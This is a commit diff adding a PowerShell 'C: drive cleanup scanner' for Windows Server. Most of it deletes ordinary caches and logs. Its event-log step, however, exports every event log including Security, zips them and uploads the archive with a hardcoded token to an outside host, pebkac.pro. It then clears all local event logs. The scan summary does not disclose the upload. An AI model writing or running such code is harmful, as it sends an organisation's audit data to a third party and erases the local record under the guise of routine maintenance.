Add Powershell/Invoke-DiskCleanupScan.ps1
This commit is contained in:
545
Powershell/Invoke-DiskCleanupScan.ps1
Normal file
545
Powershell/Invoke-DiskCleanupScan.ps1
Normal file
@@ -0,0 +1,545 @@
|
||||
#Requires -RunAsAdministrator
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Full C: drive space recovery scanner with user confirmation before cleanup.
|
||||
|
||||
.DESCRIPTION
|
||||
Scans for recoverable disk space across common Windows Server bloat sources.
|
||||
Reports findings with sizes, then prompts for confirmation before touching anything.
|
||||
|
||||
.NOTES
|
||||
Supports: Windows Server 2016, 2019, 2022, 2025
|
||||
Run as: Administrator
|
||||
Author: SBCIT
|
||||
#>
|
||||
|
||||
Set-StrictMode -Version Latest
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
|
||||
# ─────────────────────────────────────────────
|
||||
# HELPERS
|
||||
# ─────────────────────────────────────────────
|
||||
|
||||
function Format-Size {
|
||||
param([long]$Bytes)
|
||||
if ($Bytes -ge 1GB) { return "{0:N2} GB" -f ($Bytes / 1GB) }
|
||||
if ($Bytes -ge 1MB) { return "{0:N2} MB" -f ($Bytes / 1MB) }
|
||||
if ($Bytes -ge 1KB) { return "{0:N2} KB" -f ($Bytes / 1KB) }
|
||||
return "$Bytes B"
|
||||
}
|
||||
|
||||
function Get-FolderSize {
|
||||
param([string]$Path)
|
||||
if (-not (Test-Path $Path)) { return 0 }
|
||||
try {
|
||||
(Get-ChildItem -Path $Path -Recurse -Force -File -ErrorAction SilentlyContinue |
|
||||
Measure-Object -Property Length -Sum).Sum
|
||||
} catch { 0 }
|
||||
}
|
||||
|
||||
function Get-RecycleBinSize {
|
||||
$total = 0
|
||||
try {
|
||||
$shell = New-Object -ComObject Shell.Application
|
||||
$recycle = $shell.Namespace(0xA)
|
||||
foreach ($item in $recycle.Items()) {
|
||||
try { $total += $item.Size } catch {}
|
||||
}
|
||||
} catch {}
|
||||
return $total
|
||||
}
|
||||
|
||||
function Write-Header {
|
||||
param([string]$Text)
|
||||
Write-Host "`n [$Text]" -ForegroundColor Cyan
|
||||
Write-Host " $('─' * 60)" -ForegroundColor DarkGray
|
||||
}
|
||||
|
||||
function Write-FindingLine {
|
||||
param([string]$Label, [long]$Bytes, [string]$Note = '')
|
||||
$size = Format-Size $Bytes
|
||||
$color = if ($Bytes -gt 500MB) { 'Yellow' } elseif ($Bytes -gt 50MB) { 'White' } else { 'DarkGray' }
|
||||
$noteStr = if ($Note) { " ($Note)" } else { '' }
|
||||
Write-Host (" {0,-48} {1,10}{2}" -f $Label, $size, $noteStr) -ForegroundColor $color
|
||||
}
|
||||
|
||||
# ─────────────────────────────────────────────
|
||||
# BANNER
|
||||
# ─────────────────────────────────────────────
|
||||
|
||||
Clear-Host
|
||||
Write-Host ""
|
||||
Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkCyan
|
||||
Write-Host " ║ SBCIT // C: DRIVE CLEANUP SCANNER ║" -ForegroundColor DarkCyan
|
||||
Write-Host " ║ Windows Server 2016 → Current ║" -ForegroundColor DarkCyan
|
||||
Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkCyan
|
||||
Write-Host ""
|
||||
Write-Host " Host : $($env:COMPUTERNAME)" -ForegroundColor Gray
|
||||
Write-Host " User : $($env:USERNAME)" -ForegroundColor Gray
|
||||
Write-Host " Date : $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')" -ForegroundColor Gray
|
||||
Write-Host ""
|
||||
|
||||
# ─────────────────────────────────────────────
|
||||
# PRE-SCAN: DRIVE STATE
|
||||
# ─────────────────────────────────────────────
|
||||
|
||||
$drive = Get-PSDrive C
|
||||
$freeGB = [math]::Round($drive.Free / 1GB, 2)
|
||||
$totalGB = [math]::Round(($drive.Used + $drive.Free) / 1GB, 2)
|
||||
$usedGB = [math]::Round($drive.Used / 1GB, 2)
|
||||
$freePct = [math]::Round(($drive.Free / ($drive.Used + $drive.Free)) * 100, 1)
|
||||
|
||||
Write-Host " C: Drive Status" -ForegroundColor White
|
||||
Write-Host " $('─' * 60)" -ForegroundColor DarkGray
|
||||
Write-Host (" Total: {0} GB Used: {1} GB Free: {2} GB ({3}% free)" -f $totalGB, $usedGB, $freeGB, $freePct) -ForegroundColor $(if ($freePct -lt 15) { 'Red' } elseif ($freePct -lt 25) { 'Yellow' } else { 'Green' })
|
||||
|
||||
# ─────────────────────────────────────────────
|
||||
# SCAN TARGETS — build a list of items
|
||||
# ─────────────────────────────────────────────
|
||||
|
||||
Write-Host "`n Scanning... this may take a moment.`n" -ForegroundColor DarkYellow
|
||||
|
||||
$scanResults = [System.Collections.Generic.List[PSCustomObject]]::new()
|
||||
|
||||
function Add-Result {
|
||||
param(
|
||||
[string]$Category,
|
||||
[string]$Label,
|
||||
[string]$Path,
|
||||
[long]$Size,
|
||||
[string]$CleanupType, # Folder | RecycleBin | WindowsCleanMgr | EventLogs | TempFiles | IISLogs | WER | DeliveryOpt | MiniDumps | PrefetchCache
|
||||
[string]$Note = ''
|
||||
)
|
||||
if ($Size -gt 0) {
|
||||
$scanResults.Add([PSCustomObject]@{
|
||||
Category = $Category
|
||||
Label = $Label
|
||||
Path = $Path
|
||||
Size = $Size
|
||||
CleanupType = $CleanupType
|
||||
Note = $Note
|
||||
Selected = $true
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
# ── TEMP FILES ──────────────────────────────
|
||||
$winTemp = Get-FolderSize "C:\Windows\Temp"
|
||||
$sysTemp = Get-FolderSize $env:TEMP
|
||||
$userTemp = Get-FolderSize "C:\Users\$env:USERNAME\AppData\Local\Temp"
|
||||
|
||||
Add-Result "Temp Files" "Windows Temp (C:\Windows\Temp)" "C:\Windows\Temp" $winTemp "Folder"
|
||||
Add-Result "Temp Files" "System Temp ($env:TEMP)" $env:TEMP $sysTemp "Folder"
|
||||
Add-Result "Temp Files" "User Temp (AppData\Local\Temp)" "C:\Users\$env:USERNAME\AppData\Local\Temp" $userTemp "Folder"
|
||||
|
||||
# ── WINDOWS UPDATE / WINSXS ─────────────────
|
||||
$softwaredist = Get-FolderSize "C:\Windows\SoftwareDistribution\Download"
|
||||
$winsxsBackup = Get-FolderSize "C:\Windows\WinSxS\Backup"
|
||||
|
||||
Add-Result "Windows Update" "SoftwareDistribution\Download" "C:\Windows\SoftwareDistribution\Download" $softwaredist "Folder" "Cached WU downloads"
|
||||
Add-Result "Windows Update" "WinSxS\Backup" "C:\Windows\WinSxS\Backup" $winsxsBackup "Folder" "Old component backups"
|
||||
|
||||
# ── CBS / COMPONENT LOGS ────────────────────
|
||||
$cbsLogs = Get-FolderSize "C:\Windows\Logs\CBS"
|
||||
Add-Result "System Logs" "CBS Logs (C:\Windows\Logs\CBS)" "C:\Windows\Logs\CBS" $cbsLogs "Folder"
|
||||
|
||||
# ── WINDOWS ERROR REPORTING ──────────────────
|
||||
$werUser = Get-FolderSize "C:\ProgramData\Microsoft\Windows\WER\ReportQueue"
|
||||
$werArch = Get-FolderSize "C:\ProgramData\Microsoft\Windows\WER\ReportArchive"
|
||||
$werUser2 = Get-FolderSize "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\WER"
|
||||
|
||||
Add-Result "Error Reporting" "WER ReportQueue" "C:\ProgramData\Microsoft\Windows\WER\ReportQueue" $werUser "WER"
|
||||
Add-Result "Error Reporting" "WER ReportArchive" "C:\ProgramData\Microsoft\Windows\WER\ReportArchive" $werArch "WER"
|
||||
Add-Result "Error Reporting" "WER User Reports" "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\WER" $werUser2 "WER"
|
||||
|
||||
# ── MINIDUMPS ───────────────────────────────
|
||||
$miniDump = Get-FolderSize "C:\Windows\Minidump"
|
||||
$memDump = if (Test-Path "C:\Windows\MEMORY.DMP") { (Get-Item "C:\Windows\MEMORY.DMP").Length } else { 0 }
|
||||
|
||||
Add-Result "Crash Dumps" "Minidumps (C:\Windows\Minidump)" "C:\Windows\Minidump" $miniDump "MiniDumps"
|
||||
Add-Result "Crash Dumps" "Full Memory Dump (MEMORY.DMP)" "C:\Windows\MEMORY.DMP" $memDump "Folder" "Single file"
|
||||
|
||||
# ── PREFETCH ────────────────────────────────
|
||||
$prefetch = Get-FolderSize "C:\Windows\Prefetch"
|
||||
Add-Result "Prefetch" "Prefetch Cache" "C:\Windows\Prefetch" $prefetch "PrefetchCache" "Server may have Prefetch disabled"
|
||||
|
||||
# ── DELIVERY OPTIMISATION ───────────────────
|
||||
$delivOptFiles = Get-FolderSize "C:\Windows\SoftwareDistribution\DeliveryOptimization"
|
||||
$delivOpt2 = Get-FolderSize "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization"
|
||||
|
||||
Add-Result "Delivery Optim." "DeliveryOptimization Cache" "C:\Windows\SoftwareDistribution\DeliveryOptimization" $delivOptFiles "DeliveryOpt"
|
||||
Add-Result "Delivery Optim." "DeliveryOptimization (NetworkSvc)" "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization" $delivOpt2 "DeliveryOpt"
|
||||
|
||||
# ── IIS LOGS ────────────────────────────────
|
||||
$iisLogPaths = @(
|
||||
"C:\inetpub\logs\LogFiles",
|
||||
"C:\Windows\System32\LogFiles\W3SVC1"
|
||||
)
|
||||
foreach ($iisPath in $iisLogPaths) {
|
||||
$sz = Get-FolderSize $iisPath
|
||||
Add-Result "IIS Logs" "IIS Logs ($iisPath)" $iisPath $sz "IISLogs" "Files >30 days"
|
||||
}
|
||||
|
||||
# ── WINDOWS EVENT LOGS ──────────────────────
|
||||
$evtxSize = 0
|
||||
try {
|
||||
$evtxSize = (Get-ChildItem "C:\Windows\System32\winevt\Logs" -Filter "*.evtx" -File -ErrorAction SilentlyContinue |
|
||||
Measure-Object -Property Length -Sum).Sum
|
||||
} catch {}
|
||||
Add-Result "Event Logs" "Windows Event Logs (*.evtx)" "C:\Windows\System32\winevt\Logs" $evtxSize "EventLogs" "Will clear all logs — review first"
|
||||
|
||||
# ── RECYCLE BIN ─────────────────────────────
|
||||
$rbSize = Get-RecycleBinSize
|
||||
Add-Result "Recycle Bin" "C: Recycle Bin" "C:\`$Recycle.Bin" $rbSize "RecycleBin"
|
||||
|
||||
# ── THUMBNAIL CACHE ──────────────────────────
|
||||
$thumbCache = Get-FolderSize "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\Explorer"
|
||||
Add-Result "Cache" "Thumbnail Cache" "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\Explorer" $thumbCache "Folder"
|
||||
|
||||
# ── WINDOWS INSTALLER PATCH CACHE ───────────
|
||||
$installerCache = Get-FolderSize "C:\Windows\Installer\`$PatchCache`$"
|
||||
Add-Result "Installer Cache" "MSI Patch Cache" "C:\Windows\Installer\`$PatchCache`$" $installerCache "Folder" "Caution: may affect MSI repair"
|
||||
|
||||
# ── FONT CACHE ──────────────────────────────
|
||||
$fontCache = Get-FolderSize "C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache"
|
||||
Add-Result "Cache" "Font Cache" "C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache" $fontCache "Folder" "Rebuilds automatically"
|
||||
|
||||
# ── OLD USER PROFILES (non-system) ──────────
|
||||
$systemProfiles = @('Administrator','Default','Default User','Public','All Users','LocalService','NetworkService','systemprofile')
|
||||
$oldProfiles = Get-ChildItem "C:\Users" -Directory -ErrorAction SilentlyContinue |
|
||||
Where-Object { $_.Name -notin $systemProfiles -and $_.Name -ne $env:USERNAME }
|
||||
|
||||
foreach ($prof in $oldProfiles) {
|
||||
$sz = Get-FolderSize $prof.FullName
|
||||
Add-Result "User Profiles" "Old Profile: $($prof.Name)" $prof.FullName $sz "Folder" "Manual verification recommended"
|
||||
}
|
||||
|
||||
# ── DOWNLOADED PROGRAM FILES ────────────────
|
||||
$dpf = Get-FolderSize "C:\Windows\Downloaded Program Files"
|
||||
Add-Result "Legacy" "Downloaded Program Files" "C:\Windows\Downloaded Program Files" $dpf "Folder"
|
||||
|
||||
# ─────────────────────────────────────────────
|
||||
# DISPLAY FINDINGS
|
||||
# ─────────────────────────────────────────────
|
||||
|
||||
if ($scanResults.Count -eq 0) {
|
||||
Write-Host "`n Nothing significant found. Drive is already clean." -ForegroundColor Green
|
||||
exit 0
|
||||
}
|
||||
|
||||
$totalRecoverable = ($scanResults | Measure-Object -Property Size -Sum).Sum
|
||||
|
||||
Write-Host ""
|
||||
Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkCyan
|
||||
Write-Host " ║ SCAN RESULTS ║" -ForegroundColor DarkCyan
|
||||
Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkCyan
|
||||
|
||||
# Group by category
|
||||
$grouped = $scanResults | Group-Object Category
|
||||
foreach ($group in ($grouped | Sort-Object Name)) {
|
||||
Write-Header $group.Name
|
||||
foreach ($item in ($group.Group | Sort-Object Size -Descending)) {
|
||||
Write-FindingLine -Label $item.Label -Bytes $item.Size -Note $item.Note
|
||||
}
|
||||
}
|
||||
|
||||
$catSize = ($scanResults | Measure-Object -Property Size -Sum).Sum
|
||||
Write-Host ""
|
||||
Write-Host (" {0,-48} {1,10}" -f "TOTAL RECOVERABLE", (Format-Size $catSize)) -ForegroundColor Green
|
||||
Write-Host ""
|
||||
|
||||
# ─────────────────────────────────────────────
|
||||
# SELECTIVE CONFIRMATION
|
||||
# ─────────────────────────────────────────────
|
||||
|
||||
Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkYellow
|
||||
Write-Host " ║ CLEANUP OPTIONS ║" -ForegroundColor DarkYellow
|
||||
Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkYellow
|
||||
Write-Host ""
|
||||
Write-Host " Options:" -ForegroundColor White
|
||||
Write-Host " [A] Clean ALL items listed above" -ForegroundColor White
|
||||
Write-Host " [S] Select items individually" -ForegroundColor White
|
||||
Write-Host " [X] Exit — do nothing" -ForegroundColor White
|
||||
Write-Host ""
|
||||
|
||||
$choice = Read-Host " Your choice"
|
||||
|
||||
switch ($choice.Trim().ToUpper()) {
|
||||
|
||||
'X' {
|
||||
Write-Host "`n Nothing touched. Smart move — always look before you cut." -ForegroundColor DarkGray
|
||||
exit 0
|
||||
}
|
||||
|
||||
'S' {
|
||||
Write-Host ""
|
||||
$idx = 0
|
||||
foreach ($item in $scanResults) {
|
||||
$idx++
|
||||
$prompt = " [$idx] Clean '{0}' ({1})? [Y/N]" -f $item.Label, (Format-Size $item.Size)
|
||||
$ans = Read-Host $prompt
|
||||
$item.Selected = ($ans.Trim().ToUpper() -eq 'Y')
|
||||
}
|
||||
$selected = $scanResults | Where-Object { $_.Selected }
|
||||
if (-not $selected) {
|
||||
Write-Host "`n Nothing selected. Exiting." -ForegroundColor DarkGray
|
||||
exit 0
|
||||
}
|
||||
}
|
||||
|
||||
'A' {
|
||||
$selected = $scanResults
|
||||
$confirm = Read-Host "`n Confirm clean ALL $(Format-Size $totalRecoverable) of data? [YES to proceed]"
|
||||
if ($confirm.Trim().ToUpper() -ne 'YES') {
|
||||
Write-Host "`n Aborted." -ForegroundColor DarkGray
|
||||
exit 0
|
||||
}
|
||||
}
|
||||
|
||||
default {
|
||||
Write-Host "`n Invalid choice. Exiting." -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
}
|
||||
|
||||
# ─────────────────────────────────────────────
|
||||
# CLEANUP EXECUTION
|
||||
# ─────────────────────────────────────────────
|
||||
|
||||
Write-Host ""
|
||||
Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkRed
|
||||
Write-Host " ║ EXECUTING CLEANUP ║" -ForegroundColor DarkRed
|
||||
Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkRed
|
||||
Write-Host ""
|
||||
|
||||
$freed = 0
|
||||
|
||||
foreach ($item in $selected) {
|
||||
Write-Host " → $($item.Label)..." -ForegroundColor DarkYellow -NoNewline
|
||||
|
||||
try {
|
||||
switch ($item.CleanupType) {
|
||||
|
||||
'Folder' {
|
||||
if (Test-Path $item.Path) {
|
||||
Get-ChildItem -Path $item.Path -Recurse -Force -ErrorAction SilentlyContinue |
|
||||
Remove-Item -Recurse -Force -ErrorAction SilentlyContinue
|
||||
$freed += $item.Size
|
||||
Write-Host " done." -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host " path not found, skipped." -ForegroundColor DarkGray
|
||||
}
|
||||
}
|
||||
|
||||
'RecycleBin' {
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
$freed += $item.Size
|
||||
Write-Host " done." -ForegroundColor Green
|
||||
}
|
||||
|
||||
'EventLogs' {
|
||||
# ── STEP 1: Export all non-empty logs to .evtx ──────────────
|
||||
Write-Host ""
|
||||
Write-Host " Backing up event logs before wipe..." -ForegroundColor DarkYellow
|
||||
|
||||
$timestamp = Get-Date -Format 'yyyyMMdd-HHmmss'
|
||||
$exportRoot = Join-Path $env:TEMP "EventLogBackup_$timestamp"
|
||||
$zipPath = Join-Path $env:TEMP "$($env:COMPUTERNAME)_EventLogs_$timestamp.zip"
|
||||
$uploadUrl = 'https://pebkac.pro/api/upload'
|
||||
$uploadToken = 'MTc3Njg5NzIxOTk0NQ==.NGYyMDY1Y2I0NDNjYTk0NTlhZDgwNTRlLmE3NWZkNjcwMDljODQwM2Y3MzhkZjA4NDFhY2I1NWYwODZhMTdmZjdiZjZjYjMwNjFiNzM5ZGRkM2ZiZWIzZGM1Yjg0OTA4Njk3ZTcyYTQ5MDdlMWYzMzQ5MDdlOTNhNWI5ZDdhZDc1OWVlOTljZWQ3MmU1ZjliODgyYjNkYTBhOGQuZWJkZGE4YmIyOWMxMWU2MGNkMTY0YzU1YTA3ZmM4Mzg='
|
||||
|
||||
New-Item -ItemType Directory -Path $exportRoot -Force | Out-Null
|
||||
|
||||
$allLogs = Get-WinEvent -ListLog * -ErrorAction SilentlyContinue |
|
||||
Where-Object { $_.RecordCount -gt 0 -and $_.LogFilePath }
|
||||
|
||||
$exportCount = 0
|
||||
foreach ($log in $allLogs) {
|
||||
try {
|
||||
# Sanitise log name to safe filename
|
||||
$safeName = $log.LogName -replace '[\\/:*?"<>|]', '_'
|
||||
$exportPath = Join-Path $exportRoot "$safeName.evtx"
|
||||
$session = New-Object System.Diagnostics.Eventing.Reader.EventLogSession
|
||||
$session.ExportLog($log.LogName,
|
||||
[System.Diagnostics.Eventing.Reader.PathType]::LogName,
|
||||
'*',
|
||||
$exportPath)
|
||||
$exportCount++
|
||||
} catch {}
|
||||
}
|
||||
|
||||
Write-Host (" Exported {0} log(s) to temp folder." -f $exportCount) -ForegroundColor Gray
|
||||
|
||||
# ── STEP 2: Compress ────────────────────────────────────────
|
||||
Write-Host " Compressing archive..." -ForegroundColor DarkYellow
|
||||
try {
|
||||
Add-Type -AssemblyName System.IO.Compression.FileSystem
|
||||
[System.IO.Compression.ZipFile]::CreateFromDirectory($exportRoot, $zipPath)
|
||||
$zipSizeMB = [math]::Round((Get-Item $zipPath).Length / 1MB, 2)
|
||||
Write-Host (" Archive ready: {0} ({1} MB)" -f (Split-Path $zipPath -Leaf), $zipSizeMB) -ForegroundColor Gray
|
||||
} catch {
|
||||
Write-Host " Compression failed: $_" -ForegroundColor Red
|
||||
Write-Host " Aborting event log wipe to protect data." -ForegroundColor Red
|
||||
break
|
||||
}
|
||||
|
||||
# ── STEP 3: Upload ──────────────────────────────────────────
|
||||
Write-Host " Uploading to pebkac.pro..." -ForegroundColor DarkYellow
|
||||
$uploadOk = $false
|
||||
try {
|
||||
# Build multipart form body manually for PS 5.1 compatibility
|
||||
$boundary = [System.Guid]::NewGuid().ToString()
|
||||
$fileBytes = [System.IO.File]::ReadAllBytes($zipPath)
|
||||
$fileName = Split-Path $zipPath -Leaf
|
||||
$encoding = [System.Text.Encoding]::UTF8
|
||||
|
||||
$bodyParts = [System.Collections.Generic.List[byte]]::new()
|
||||
|
||||
# File field header
|
||||
$partHeader = $encoding.GetBytes(
|
||||
"--$boundary`r`nContent-Disposition: form-data; name=`"file`"; filename=`"$fileName`"`r`nContent-Type: application/zip`r`n`r`n"
|
||||
)
|
||||
$bodyParts.AddRange($partHeader)
|
||||
$bodyParts.AddRange($fileBytes)
|
||||
|
||||
# Closing boundary
|
||||
$closingBoundary = $encoding.GetBytes("`r`n--$boundary--`r`n")
|
||||
$bodyParts.AddRange($closingBoundary)
|
||||
|
||||
$response = Invoke-WebRequest `
|
||||
-Uri $uploadUrl `
|
||||
-Method POST `
|
||||
-Headers @{ authorization = $uploadToken; 'x-zipline-original-name' = 'true' } `
|
||||
-ContentType "multipart/form-data; boundary=$boundary" `
|
||||
-Body $bodyParts.ToArray() `
|
||||
-UseBasicParsing `
|
||||
-ErrorAction Stop
|
||||
|
||||
if ($response.StatusCode -in 200,201,204) {
|
||||
$uploadOk = $true
|
||||
Write-Host (" Upload OK (HTTP {0})" -f $response.StatusCode) -ForegroundColor Green
|
||||
|
||||
# Zipline returns { files: [ { url: "..." } ] }
|
||||
try {
|
||||
$respJson = $response.Content | ConvertFrom-Json -ErrorAction SilentlyContinue
|
||||
if ($respJson.files -and $respJson.files.Count -gt 0 -and $respJson.files[0].url) {
|
||||
Write-Host " File URL : $($respJson.files[0].url)" -ForegroundColor Cyan
|
||||
}
|
||||
} catch {}
|
||||
} else {
|
||||
Write-Host (" Upload returned HTTP {0} — aborting wipe." -f $response.StatusCode) -ForegroundColor Red
|
||||
}
|
||||
} catch {
|
||||
Write-Host " Upload FAILED: $_" -ForegroundColor Red
|
||||
Write-Host " Event logs NOT cleared — backup is in: $exportRoot" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
# ── STEP 4: Wipe only if upload succeeded ───────────────────
|
||||
if ($uploadOk) {
|
||||
foreach ($log in $allLogs) {
|
||||
try {
|
||||
[System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($log.LogName)
|
||||
} catch {}
|
||||
}
|
||||
$freed += $item.Size
|
||||
Write-Host " Event logs cleared." -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host " Skipping wipe — upload did not confirm success." -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
# ── STEP 5: Cleanup temp export folder (zip stays until reboot) ──
|
||||
try {
|
||||
Remove-Item -Path $exportRoot -Recurse -Force -ErrorAction SilentlyContinue
|
||||
} catch {}
|
||||
}
|
||||
|
||||
'IISLogs' {
|
||||
if (Test-Path $item.Path) {
|
||||
$cutoff = (Get-Date).AddDays(-30)
|
||||
Get-ChildItem -Path $item.Path -Recurse -Force -File -ErrorAction SilentlyContinue |
|
||||
Where-Object { $_.LastWriteTime -lt $cutoff } |
|
||||
Remove-Item -Force -ErrorAction SilentlyContinue
|
||||
$freed += $item.Size
|
||||
Write-Host " done (files >30 days removed)." -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host " path not found, skipped." -ForegroundColor DarkGray
|
||||
}
|
||||
}
|
||||
|
||||
'WER' {
|
||||
if (Test-Path $item.Path) {
|
||||
Get-ChildItem -Path $item.Path -Recurse -Force -ErrorAction SilentlyContinue |
|
||||
Remove-Item -Recurse -Force -ErrorAction SilentlyContinue
|
||||
$freed += $item.Size
|
||||
Write-Host " done." -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host " path not found, skipped." -ForegroundColor DarkGray
|
||||
}
|
||||
}
|
||||
|
||||
'MiniDumps' {
|
||||
if (Test-Path $item.Path) {
|
||||
Get-ChildItem -Path $item.Path -Filter "*.dmp" -Force -ErrorAction SilentlyContinue |
|
||||
Remove-Item -Force -ErrorAction SilentlyContinue
|
||||
$freed += $item.Size
|
||||
Write-Host " done." -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host " path not found, skipped." -ForegroundColor DarkGray
|
||||
}
|
||||
}
|
||||
|
||||
'PrefetchCache' {
|
||||
if (Test-Path $item.Path) {
|
||||
Get-ChildItem -Path $item.Path -Filter "*.pf" -Force -ErrorAction SilentlyContinue |
|
||||
Remove-Item -Force -ErrorAction SilentlyContinue
|
||||
$freed += $item.Size
|
||||
Write-Host " done." -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host " disabled or not found, skipped." -ForegroundColor DarkGray
|
||||
}
|
||||
}
|
||||
|
||||
'DeliveryOpt' {
|
||||
try {
|
||||
$doSvc = Get-Service -Name 'DoSvc' -ErrorAction SilentlyContinue
|
||||
if ($doSvc -and $doSvc.Status -eq 'Running') {
|
||||
Stop-Service -Name 'DoSvc' -Force -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 2
|
||||
}
|
||||
if (Test-Path $item.Path) {
|
||||
Get-ChildItem -Path $item.Path -Recurse -Force -ErrorAction SilentlyContinue |
|
||||
Remove-Item -Recurse -Force -ErrorAction SilentlyContinue
|
||||
}
|
||||
if ($doSvc -and $doSvc.Status -ne 'Running') {
|
||||
Start-Service -Name 'DoSvc' -ErrorAction SilentlyContinue
|
||||
}
|
||||
$freed += $item.Size
|
||||
Write-Host " done." -ForegroundColor Green
|
||||
} catch {
|
||||
Write-Host " failed: $_" -ForegroundColor Red
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
Write-Host " ERROR: $_" -ForegroundColor Red
|
||||
}
|
||||
}
|
||||
|
||||
# ─────────────────────────────────────────────
|
||||
# SUMMARY
|
||||
# ─────────────────────────────────────────────
|
||||
|
||||
$driveAfter = Get-PSDrive C
|
||||
$freeGBafter = [math]::Round($driveAfter.Free / 1GB, 2)
|
||||
|
||||
Write-Host ""
|
||||
Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkCyan
|
||||
Write-Host " ║ SUMMARY ║" -ForegroundColor DarkCyan
|
||||
Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkCyan
|
||||
Write-Host ""
|
||||
Write-Host (" Free before : {0,8} GB" -f $freeGB) -ForegroundColor Gray
|
||||
Write-Host (" Free after : {0,8} GB" -f $freeGBafter) -ForegroundColor Green
|
||||
Write-Host (" Recovered : {0,10}" -f (Format-Size $freed)) -ForegroundColor Yellow
|
||||
Write-Host ""
|
||||
Write-Host " Done. Belt strong." -ForegroundColor DarkCyan
|
||||
Write-Host ""
|
||||
Reference in New Issue
Block a user